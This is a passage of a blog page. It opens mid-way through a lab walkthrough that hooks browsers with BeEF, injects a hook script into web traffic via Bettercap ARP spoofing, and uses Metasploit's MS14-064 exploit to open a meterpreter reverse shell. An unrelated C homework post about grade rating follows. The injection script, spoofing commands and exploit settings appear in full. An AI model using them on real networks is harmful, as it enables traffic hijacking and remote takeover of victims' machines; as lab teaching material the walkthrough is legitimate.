href="http://192.168.101.15:3000/hook.js" target="_blank" rel="noopener noreffer ">http://192.168.101.15:3000/hook.js</a> <ul> <li>This is the hook address mentioned earlier. Once a browser visits a page with this JavaScript, it will be hooked by Beef~ Later, we will write it into an attack script~</li> </ul> </li> <li>UI URL: <a href="http://192.168.101.15:3000/ui/panel" target="_blank" rel="noopener noreffer ">http://192.168.101.15:3000/ui/panel</a> <ul> <li>This is the Beef control panel. After opening it, you will see a login page, similar to the cover image. After logging in, it will look like this.</li> </ul> </li> </ul> <p></p> <p>About the username and password, here&rsquo;s the thing: In some systems, you can&rsquo;t use the default login credentials <code>(beef:beef)</code> for Beef, and it may not even start. For example, this is the case with my Arch Linux.</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span><span class="lnt">2 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-txt" data-lang="txt"><span class="line"><span class="cl">[14:40:25][!] ERROR: Default username and password in use! </span></span><span class="line"><span class="cl">[14:40:25] |_ Change the beef.credentials.passwd in config.yaml </span></span></code></pre></td></tr></table> </div> </div><p>In such cases, what you need to do is modify the <code>config.yaml</code> file. In my case, the file is located at <code>/usr/share/beef/config.yaml</code>.</p> <p>Modify it as follows:</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt"> 1 </span><span class="lnt"> 2 </span><span class="lnt"> 3 </span><span class="lnt"> 4 </span><span class="lnt"> 5 </span><span class="lnt"> 6 </span><span class="lnt"> 7 </span><span class="lnt"> 8 </span><span class="lnt"> 9 </span><span class="lnt">10 </span><span class="lnt">11 </span><span class="lnt">12 </span><span class="lnt">13 </span><span class="lnt">14 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-yaml" data-lang="yaml"><span class="line"><span class="cl"><span class="nt">beef</span><span class="p">:</span><span class="w"> </span></span></span><span class="line"><span class="cl"><span class="w"> </span><span class="nt">version</span><span class="p">:</span><span class="w"> </span><span class="s1">&#39;0.5.0.0-alpha-pre&#39;</span><span class="w"> </span></span></span><span class="line"><span class="cl"><span class="w"> </span><span class="c"># More verbose messages (server-side)</span><span class="w"> </span></span></span><span class="line"><span class="cl"><span class="w"> </span><span class="nt">debug</span><span class="p">:</span><span class="w"> </span><span class="kc">false</span><span class="w"> </span></span></span><span class="line"><span class="cl"><span class="w"> </span><span class="c"># More verbose messages (client-side)</span><span class="w"> </span></span></span><span class="line"><span class="cl"><span class="w"> </span><span class="nt">client_debug</span><span class="p">:</span><span class="w"> </span><span class="kc">false</span><span class="w"> </span></span></span><span class="line"><span class="cl"><span class="w"> </span><span class="c"># Used for generating secure tokens</span><span class="w"> </span></span></span><span class="line"><span class="cl"><span class="w"> </span><span class="nt">crypto_default_value_length</span><span class="p">:</span><span class="w"> </span><span class="m">80</span><span class="w"> </span></span></span><span class="line"><span class="cl"><span class="w"> </span></span></span><span class="line"><span class="cl"><span class="w"> </span><span class="c"># Credentials to authenticate in BeEF.</span><span class="w"> </span></span></span><span class="line"><span class="cl"><span class="w"> </span><span class="c"># Used by both the RESTful API and the Admin interface</span><span class="w"> </span></span></span><span class="line"><span class="cl"><span class="w"> </span><span class="nt">credentials</span><span class="p">:</span><span class="w"> </span></span></span><span class="line"><span class="cl"><span class="w"> </span><span class="nt">user</span><span class="p">:</span><span class="w"> </span><span class="s2">&#34;Choose a username&#34;</span><span class="w"> </span></span></span><span class="line"><span class="cl"><span class="w"> </span><span class="nt">passwd</span><span class="p">:</span><span class="w"> </span><span class="s2">&#34;Think of a password&#34;</span><span class="w"> </span></span></span></code></pre></td></tr></table> </div> </div><p>After that, you can start the system, and the username and password you set will be used for login.</p> <p>Alright, without further ado, let&rsquo;s continue.</p> <p>Next, we need to write a JavaScript script to use with Bettercap.</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt"> 1 </span><span class="lnt"> 2 </span><span class="lnt"> 3 </span><span class="lnt"> 4 </span><span class="lnt"> 5 </span><span class="lnt"> 6 </span><span class="lnt"> 7 </span><span class="lnt"> 8 </span><span class="lnt"> 9 </span><span class="lnt">10 </span><span class="lnt">11 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-js" data-lang="js"><span class="line"><span class="cl"><span class="kd">function</span> <span class="nx">onResponse</span><span class="p">(</span><span class="nx">req</span><span class="p">,</span><span class="nx">res</span><span class="p">){</span> </span></span><span class="line"><span class="cl"> <span class="k">if</span><span class="p">(</span><span class="nx">res</span><span class="p">.</span><span class="nx">ContentType</span><span class="p">.</span><span class="nx">indexOf</span><span class="p">(</span><span class="s1">&#39;text/html&#39;</span><span class="p">)</span><span class="o">==</span><span class="mi">0</span><span class="p">){</span> </span></span><span class="line"><span class="cl"> <span class="kd">var</span> <span class="nx">body</span><span class="o">=</span><span class="nx">res</span><span class="p">.</span><span class="nx">ReadBody</span><span class="p">();</span> </span></span><span class="line"><span class="cl"> <span class="k">if</span><span class="p">(</span><span class="nx">body</span><span class="p">.</span><span class="nx">indexOf</span><span class="p">(</span><span class="s1">&#39;&lt;/head&gt;&#39;</span><span class="p">)</span><span class="o">!=-</span><span class="mi">1</span><span class="p">){</span> </span></span><span class="line"><span class="cl"> <span class="nx">res</span><span class="p">.</span><span class="nx">Body</span><span class="o">=</span><span class="nx">body</span><span class="p">.</span><span class="nx">replace</span><span class="p">(</span> </span></span><span class="line"><span class="cl"> <span class="s1">&#39;&lt;/head&gt;&#39;</span><span class="p">,</span> </span></span><span class="line"><span class="cl"> <span class="s1">&#39;&lt;script type=&#34;text/javascript&#34; src=&#34;http://192.168.101.15:3000/hook.js&#34;&gt;&lt;/script&gt;&lt;/head&gt;&#39;</span> </span></span><span class="line"><span class="cl"> <span class="p">);</span> </span></span><span class="line"><span class="cl"> <span class="p">}</span> </span></span><span class="line"><span class="cl"> <span class="p">}</span> </span></span><span class="line"><span class="cl"><span class="p">}</span> </span></span></code></pre></td></tr></table> </div> </div><p>Save this file to a directory of your choice. I will save it to <code>/home/weepingdogel/Downloads/hack/192.168.101.43/hack.js</code>.</p> <p>Then, let&rsquo;s go back to Bettercap and set the <code>http.proxy.script</code> parameter to the path mentioned above:</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-txt" data-lang="txt"><span class="line"><span class="cl">set http.proxy.script /home/weepingdogel/Downloads/hack/192.168.101.43/hack.js </span></span></code></pre></td></tr></table> </div> </div><p>Then start <code>net.probe</code>, <code>arp.spoof</code>, and <code>http.proxy</code> in sequence.</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-txt" data-lang="txt"><span class="line"><span class="cl">net.probe on </span></span></code></pre></td></tr></table> </div> </div><div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-txt" data-lang="txt"><span class="line"><span class="cl">arp.spoof on </span></span></code></pre></td></tr></table> </div> </div><div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-txt" data-lang="txt"><span class="line"><span class="cl">http.proxy on </span></span></code></pre></td></tr></table> </div> </div><p>Alright&hellip; Now everything is set up and ready to go&hellip;</p> <p></p> <p>Then we&rsquo;ll have the target machine open a browser and visit a website&hellip;</p> <p>Since IE8 no longer supports HTTPS for Bing, it will be vulnerable as soon as it opens.</p> <p></p> <p></p> <p>And then there&rsquo;s so much we can do.</p> <p></p> <p>I decided to use a clippy module that binds to a <code>ms14-064</code> address, and now it&rsquo;s msf&rsquo;s turn.</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">$ msfconsole </span></span></code></pre></td></tr></table> </div> </div><p></p> <p>Enable Modules.</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-txt" data-lang="txt"><span class="line"><span class="cl">&gt; use exploit/windows/browser/ms14_064_ole_code_execution </span></span></code></pre></td></tr></table> </div> </div><div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-txt" data-lang="txt"><span class="line"><span class="cl">&gt; info </span></span></code></pre></td></tr></table> </div> </div><p>Let&rsquo;s see the description.</p> <blockquote> <p>Description:</p> <p>This module exploits the Windows OLE Automation array vulnerability, CVE-2014-6332. The vulnerability is known to affect Internet Explorer 3.0 until version 11 within Windows 95 up to Windows 10, and no patch for Windows XP. However, this exploit will only target Windows XP and Windows 7 box due to the Powershell limitation. Windows XP by defaults supports VBS, therefore it is used as the attack vector. On other newer Windows systems, the exploit will try using Powershell instead.</p> </blockquote> <p>Check the options</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-txt" data-lang="txt"><span class="line"><span class="cl">show options </span></span></code></pre></td></tr></table> </div> </div><div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt"> 1 </span><span class="lnt"> 2 </span><span class="lnt"> 3 </span><span class="lnt"> 4 </span><span class="lnt"> 5 </span><span class="lnt"> 6 </span><span class="lnt"> 7 </span><span class="lnt"> 8 </span><span class="lnt"> 9 </span><span class="lnt">10 </span><span class="lnt">11 </span><span class="lnt">12 </span><span class="lnt">13 </span><span class="lnt">14 </span><span class="lnt">15 </span><span class="lnt">16 </span><span class="lnt">17 </span><span class="lnt">18 </span><span class="lnt">19 </span><span class="lnt">20 </span><span class="lnt">21 </span><span class="lnt">22 </span><span class="lnt">23 </span><span class="lnt">24 </span><span class="lnt">25 </span><span class="lnt">26 </span><span class="lnt">27 </span><span class="lnt">28 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-txt" data-lang="txt"><span class="line"><span class="cl">Module options (exploit/windows/browser/ms14_064_ole_code_execution): </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"> Name Current Setting Required Description </span></span><span class="line"><span class="cl"> ---- --------------- -------- ----------- </span></span><span class="line"><span class="cl"> AllowPowershellPrompt false yes Allow exploit to try Powershell </span></span><span class="line"><span class="cl"> Retries true no Allow the browser to retry the module </span></span><span class="line"><span class="cl"> SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses. </span></span><span class="line"><span class="cl"> SRVPORT 8080 yes The local port to listen on. </span></span><span class="line"><span class="cl"> SSL false no Negotiate SSL for incoming connections </span></span><span class="line"><span class="cl"> SSLCert no Path to a custom SSL certificate (default is randomly generated) </span></span><span class="line"><span class="cl"> TRYUAC false yes Ask victim to start as Administrator </span></span><span class="line"><span class="cl"> URIPATH no The URI to use for this exploit (default is random) </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl">Payload options (windows/meterpreter/reverse_tcp): </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"> Name Current Setting Required Description </span></span><span class="line"><span class="cl"> ---- --------------- -------- ----------- </span></span><span class="line"><span class="cl"> EXITFUNC process yes Exit technique (Accepted: &#39;&#39;, seh, thread, process, none) </span></span><span class="line"><span class="cl"> LHOST 192.168.101.15 yes The listen address (an interface may be specified) </span></span><span class="line"><span class="cl"> LPORT 4444 yes The listen port </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl">Exploit target: </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"> Id Name </span></span><span class="line"><span class="cl"> -- ---- </span></span><span class="line"><span class="cl"> 0 Windows XP </span></span></code></pre></td></tr></table> </div> </div><p>Normally we would just set a <code>SRVHOST</code>, but <code>bettercap</code> just took port <code>8080</code>, so we need to set a new <code>SRVPORT</code>.</p> <p>The <code>SRVHOST</code> is set to the address of the attacking machine.</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-txt" data-lang="txt"><span class="line"><span class="cl">set SRVHOST 192.168.101.15 </span></span></code></pre></td></tr></table> </div> </div><p><code>SRVPORT</code> Arbitrarily specify a free port</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-txt" data-lang="txt"><span class="line"><span class="cl">set SRVPORT 9999 </span></span></code></pre></td></tr></table> </div> </div><p>Execute.</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-txt" data-lang="txt"><span class="line"><span class="cl">exploit </span></span></code></pre></td></tr></table> </div> </div><p>Then we get it</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span><span class="lnt">2 </span><span class="lnt">3 </span><span class="lnt">4 </span><span class="lnt">5 </span><span class="lnt">6 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-txt" data-lang="txt"><span class="line"><span class="cl">[*] Exploit running as background job 0. </span></span><span class="line"><span class="cl">[*] Exploit completed, but no session was created. </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl">[*] Started reverse TCP handler on 192.168.101.15:4444 </span></span><span class="line"><span class="cl">[*] Using URL: http://192.168.101.15:9999/deCFhCIwXNHYT </span></span><span class="line"><span class="cl">[*] Server started. </span></span></code></pre></td></tr></table> </div> </div><p>Change the default <code>Clippy image directory</code> address to the attacker&rsquo;s address, then put the link <code>http://192.168.101.15:9999/deCFhCIwXNHYT</code> in the <code>Executable</code> field.</p> <p></p> <p>Then click the <code>execute</code>.</p> <p>That&rsquo;s when a funny thing happens to the target machine.</p> <p></p> <p>Whichever one you click on, it jumps to the msf link. After clicking on it, msf responds.</p> <p></p> <p>A <code>meterpreter</code> connection is established.</p> <p></p> <p>Get in the session.</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-txt" data-lang="txt"><span class="line"><span class="cl">sessions -i 1 </span></span></code></pre></td></tr></table> </div> </div><p></p> <p>At this point we can use <code>meterpreter</code> to operate the target machine as normal&hellip;</p> <p></p> <p>The <code>getsystem</code> lifting is also no problem.</p> <p>As for the use of <code>meterpreter</code>, I will not continue to write about it, because I have written about it before (escape.).</p> <p>Then here is half of the success, the rest is the post-penetration, say a long time can not finish it ~ ~ here it is ~</p> <h2 id="end">End</h2> <p>I&rsquo;m sorry, but I&rsquo;m not sure if I&rsquo;m going to be able to do this. qwq However, to declare that the content of this article is limited to the test to learn to use, <strong>do not take to do bad things</strong>, or the consequences of their own Oh ~</p> <p>Finally, this site follows the [CC-BY-NC 4.0 protocol] (<a href="https://creativecommons.org/licenses/by-nc/4.0/%29" target="_blank" rel="noopener noreffer ">https://creativecommons.org/licenses/by-nc/4.0/)</a>, reproduced please specify the source!</p> <h2 id="reference-links">Reference links</h2> <ul> <li><a href="https://cvedetails.com/cve/CVE-2014-6332/" target="_blank" rel="noopener noreffer ">CVE-2014-6332 : OleAut32.dll in OLE in Microsoft Windows Server 2003 SP2, Windows Vista SP2, Windows Server 2008 SP2 and R2 SP1, Windows</a></li> <li><a href="https://docs.microsoft.com/en-us/security-updates/SecurityBulletins/2014/MS14-064" target="_blank" rel="noopener noreffer ">Microsoft Security Bulletin MS14-064 - Critical | Microsoft Docs</a></li> <li><a href="https://www.exploit-db.com/exploits/35229" target="_blank" rel="noopener noreffer ">Microsoft Internet Explorer 11 - OLE Automation Array Remote Code Execution (1) - Windows remote Exploit</a></li> <li><a href="https://www.exploit-db.com/exploits/35308" target="_blank" rel="noopener noreffer ">Microsoft Internet Explorer OLE Pre-IE11 - Automation Array Remote Code Execution / PowerShell VirtualAlloc (MS14-064) - Windows remote Exploit</a></li> <li><a href="http://securityintelligence.com/ibm-x-force-researcher-finds-significant-vulnerability-in-microsoft-windows" target="_blank" rel="noopener noreffer ">IBM X-Force Researcher Finds Significant Vulnerability in Microsoft Windows</a></li> <li><a href="https://forsec.nl/2014/11/cve-2014-6332-internet-explorer-msf-module" target="_blank" rel="noopener noreffer ">CVE-2014-6332: it’s raining shells | forsec</a></li> <li><a href="https://usstzt.site/2020/05/26/bettercap%E7%9A%84%E4%BD%BF%E7%94%A8/#&amp;gid=1&amp;pid=2" target="_blank" rel="noopener noreffer ">kali bettercap的使用 | UsstZt</a></li> <li><a href="https://blog.csdn.net/qq_33066259/article/details/80737308" target="_blank" rel="noopener noreffer ">Bettercap2.6与beef的使用_请你吃橘子-CSDN博客</a></li> <li><a href="https://www.deepl.com/translator#en/zh/This%20module%20exploits%20the%20Windows%20OLE%20Automation%20array%20vulnerability%2C%20CVE-2014-6332.%20The%20vulnerability%20is%20known%20to%20affect%20Internet%20Explorer%203.0%20until%20version%2011%20within%20Windows%2095%20up%20to%20Windows%2010%2C%20and%20no%20patch%20for%20Windows%20XP.%20However%2C%20this%20exploit%20will%20only%20target%20Windows%20XP%20and%20Windows%207%20box%20due%20to%20the%20Powershell%20limitation.%20Windows%20XP%20by%20defaults%20supports%20VBS%2C%20therefore%20it%20is%20used%20as%20the%20attack%20vector.%20On%20other%20newer%20Windows%20systems%2C%20the%20exploit%20will%20try%20using%20Powershell%20instead." target="_blank" rel="noopener noreffer ">DeepL Translate</a></li> </ul>

2021/2/2
阅读更多

Help with College Computer Homework

<div class="featured-image"> <img src="/img/2020-12-03%2000-58-57%e5%b1%8f%e5%b9%95%e6%88%aa%e5%9b%be.png" referrerpolicy="no-referrer"> </div><h2 id="introduction">Introduction</h2> <p>Help with homework qwq&hellip;</p> <p>I haven&rsquo;t played with C language for a long time, let me try to see if I can do it.</p> <blockquote> <p>PS: I&rsquo;m on Linux, the execution method may be different. If you are on Windows, you need an editor to run it.</p> <p>For example, Dev C++, VS 2019, etc.</p> </blockquote> <h2 id="experiment-eleven">Experiment Eleven</h2> <blockquote> <p>Experiment Eleven</p> <p>Objective:</p> <ul> <li>Understand C programming concepts</li> <li>Understand C program design framework</li> </ul> <p>Contents:</p> <p>Input a grade and output its level rating.</p> </blockquote> <p>This is straightforward. We need to list several grade levels:</p> <ul> <li>Excellent <ul> <li>80 ~ 100 points [80,100]</li> </ul> </li> <li>Pass <ul> <li>60~79 points [60,79]</li> </ul> </li> <li>Fail <ul> <li>Below 60 points [0,60)</li> </ul> </li> </ul> <p>In the code, we can use expressions to represent the intervals, for example:</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="n">score</span> <span class="o">&gt;=</span> <span class="mi">80</span> <span class="o">&amp;&amp;</span> <span class="n">score</span> <span class="o">&lt;=</span> <span class="mi">100</span> </span></span></code></pre></td></tr></table> </div> </div><p>Then we use if() to determine the grade level.</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt"> 1 </span><span class="lnt"> 2 </span><span class="lnt"> 3 </span><span class="lnt"> 4 </span><span class="lnt"> 5 </span><span class="lnt"> 6 </span><span class="lnt"> 7 </span><span class="lnt"> 8 </span><span class="lnt"> 9 </span><span class="lnt">10 </span><span class="lnt">11 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="cp">#include</span><span class="cpf">&lt;stdio.h&gt;</span><span class="cp"> </span></span></span><span class="line"><span class="cl"><span class="cp"></span><span class="kt">int</span> <span class="nf">main</span><span class="p">(){</span> </span></span><span class="line"><span class="cl"> <span class="kt">int</span> <span class="n">score</span> <span class="o">=</span> <span class="mi">85</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="k">if</span><span class="p">(</span><span class="n">score</span> <span class="o">&gt;=</span> <span class="mi">80</span> <span class="o">&amp;&amp;</span> <span class="n">score</span> <span class="o">&lt;=</span> <span class="mi">100</span><span class="p">){</span> </span></span><span class="line"><span class="cl"> <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;The grade is excellent&#34;</span><span class="p">);</span> </span></span><span class="line"><span class="cl"> <span class="p">}</span><span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">score</span> <span class="o">&gt;=</span> <span class="mi">60</span> <span class="o">&amp;&amp;</span> <span class="n">score</span> <span class="o">&lt;=</span> <span class="mi">79</span><span class="p">){</span> </span></span><span class="line"><span class="cl"> <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;The grade is pass&#34;</span><span class="p">);</span> </span></span><span class="line"><span class="cl"> <span class="p">}</span><span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">score</span> <span class="o">&gt;=</span> <span class="mi">0</span> <span class="o">&amp;&amp;</span> <span class="n">score</span> <span class="o">&lt;</span> <span class="mi">60</span><span class="p">){</span> </span></span><span class="line"><span class="cl"> <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;The grade is fail&#34;</span><span class="p">);</span> </span></span><span class="line"><span class="cl"> <span class="p">}</span> </span></span><span class="line"><span class="cl"><span class="p">}</span> </span></span></code></pre></td></tr></table> </div> </div><p>Next, we run the program.</p> <p>Output:</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span><span class="lnt">2 </span><span class="lnt">3 </span><span class="lnt">4 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">weepingdogel@WeepingDogel /tmp&gt; make test </span></span><span class="line"><span class="cl">cc test.c -o test </span></span><span class="line"><span class="cl">weepingdogel@WeepingDogel /tmp&gt; ./test </span></span><span class="line"><span class="cl">The grade is excellent⏎ </span></span></code></pre></td></tr></table> </div> </div><p>Then we need to get the user&rsquo;s input for the grade, like this, using the <code>scanf()</code> function to get the user&rsquo;s input and assign it to an integer variable <code>score</code>.</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span><span class="lnt">2 </span><span class="lnt">3 </span><span class="lnt">4 </span><span class="lnt">5 </span><span class="lnt">6 </span><span class="lnt">7 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="cp">#include</span><span class="cpf">&lt;stdio.h&gt;</span><span class="cp"> </span></span></span><span class="line"><span class="cl"><span class="cp"></span><span class="kt">int</span> <span class="nf">main</span><span class="p">(){</span> </span></span><span class="line"><span class="cl"> <span class="kt">int</span> <span class="n">score</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;Enter your grade:&#34;</span><span class="p">);</span> </span></span><span class="line"><span class="cl"> <span class="nf">scanf</span><span class="p">(</span><span class="s">&#34;%d&#34;</span><span class="p">,</span><span class="o">&amp;</span><span class="n">score</span><span class="p">);</span> </span></span><span class="line"><span class="cl"> <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;%d&#34;</span><span class="p">,</span><span class="n">score</span><span class="p">);</span> </span></span><span class="line"><span class="cl"><span class="p">}</span> </span></span></code></pre></td></tr></table> </div> </div><p>Next, we combine these two pieces of code together.</p> <p>The complete code is as follows:</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt"> 1 </span><span class="lnt"> 2 </span><span class="lnt"> 3 </span><span class="lnt"> 4 </span><span class="lnt"> 5 </span><span class="lnt"> 6 </span><span class="lnt"> 7 </span><span class="lnt"> 8 </span><span class="lnt"> 9 </span><span class="lnt">10 </span><span class="lnt">11 </span><span class="lnt">12 </span><span class="lnt">13 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="cp">#include</span><span class="cpf">&lt;stdio.h&gt;</span><span class="cp"> </span></span></span><span class="line"><span class="cl"><span class="cp"></span><span class="kt">int</span> <span class="nf">main</span><span class="p">(){</span> </span></span><span class="line"><span class="cl"> <span class="kt">int</span> <span class="n">score</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;Enter your grade:&#34;</span><span class="p">);</span> </span></span><span class="line"><span class="cl"> <span class="nf">scanf</span><span class="p">(</span><span class="s">&#34;%d&#34;</span><span class="p">,</span><span class="o">&amp;</span><span class="n">score</span><span class="p">);</span> </span></span><span class="line"><span class="cl"> <span class="k">if</span><span class="p">(</span><span class="n">score</span> <span class="o">&gt;=</span> <span class="mi">80</span> <span class="o">&amp;&amp;</span> <span class="n">score</span> <span class="o">&lt;=</span> <span class="mi">100</span><span class="p">){</span> </span></span><span class="line"><span class="cl"> <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;The grade is excellent&#34;</span><span class="p">);</span> </span></span><span class="line"><span class="cl"> <span class="p">}</span><span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">score</span> <span class="o">&gt;=</span> <span class="mi">60</span> <span class="o">&amp;&amp;</span> <span class="n">score</span> <span class="o">&lt;=</span> <span class="mi">79</span><span class="p">){</span> </span></span><span class="line"><span class="cl"> <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;The grade is pass&#34;</span><span class="p">);</span> </span></span><span class="line"><span class="cl"> <span class="p">}</span><span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">score</span> <span class="o">&gt;=</span> <span class="mi">0</span> <span class="o">&amp;&amp;</span> <span class="n">score</span> <span class="o">&lt;</span> <span class="mi">60</span><span class="p">){</span> </span></span><span class="line"><span class="cl"> <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;The grade is fail&#34;</span><span class="p">);</span> </span></span><span class="line"><span class="cl"> <span class="p">}</span> </span></span><span class="line"><span class="cl"><span class="p">}</span> </span></span></code></pre></td></tr></table> </div> </div><p>The idea is to first use <code>scanf()</code> function to get the user&rsquo;s input for the grade, then use <code>if()</code> statements to compare and output the result.</p> <p>This is the output:</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt"> 1 </span><span class="lnt"> 2 </span><span class="lnt"> 3 </span><span class="lnt"> 4 </span><span class="lnt"> 5 </span><span class="lnt"> 6 </span><span class="lnt"> 7 </span><span class="lnt"> 8 </span><span class="lnt"> 9 </span><span class="lnt">10 </span><span class="lnt">11 </span><span class="lnt">12 </span><span class="lnt">13 </span><span class="lnt">14 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">weepingdogel@WeepingDogel /tmp&gt; make test </span></span><span class="line"><span class="cl">cc test.c -o test </span></span><span class="line"><span class="cl">weepingdogel@WeepingDogel /tmp&gt; ./test </span></span><span class="line"><span class="cl">Enter your grade:99 </span></span><span class="line"><span class="cl">The grade is excellent⏎ </span></span><span class="line"><span class="cl">weepingdogel@WeepingDogel /tmp&gt; ./test </span></span><span class="line"><span class="cl">Enter your grade:85 </span></span><span class="line"><span class="cl">The grade is excellent⏎ </span></span><span class="line"><span class="cl">weepingdogel@WeepingDogel /tmp&gt; ./test </span></span><span class="line"><span class="cl">Enter your grade:60 </span></span><span class="line"><span class="cl">The grade is pass⏎ </span></span><span class="line"><span class="cl">weepingdogel@WeepingDogel /tmp&gt; ./test </span></span><span class="line"><span class="cl">Enter your grade:59 </span></span><span class="line"><span class="cl">The grade is fail⏎ </span></span></code></pre></td></tr></table> </div> </div><h2 id="experiment-12">Experiment 12</h2> <blockquote> <p>Experiment Purpose:</p> <ul> <li>Understand C program design ideas</li> <li>Understand C program design frameworks</li> </ul> <p>Task content</p> <ul> <li>Requires writing a program that registers and then logs in, outputting the format shown in the following figure:</li> </ul> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt"> 1 </span><span class="lnt"> 2 </span><span class="lnt"> 3 </span><span class="lnt"> 4 </span><span class="lnt"> 5 </span><span class="lnt"> 6 </span><span class="lnt"> 7 </span><span class="lnt"> 8 </span><span class="lnt"> 9 </span><span class="lnt">10 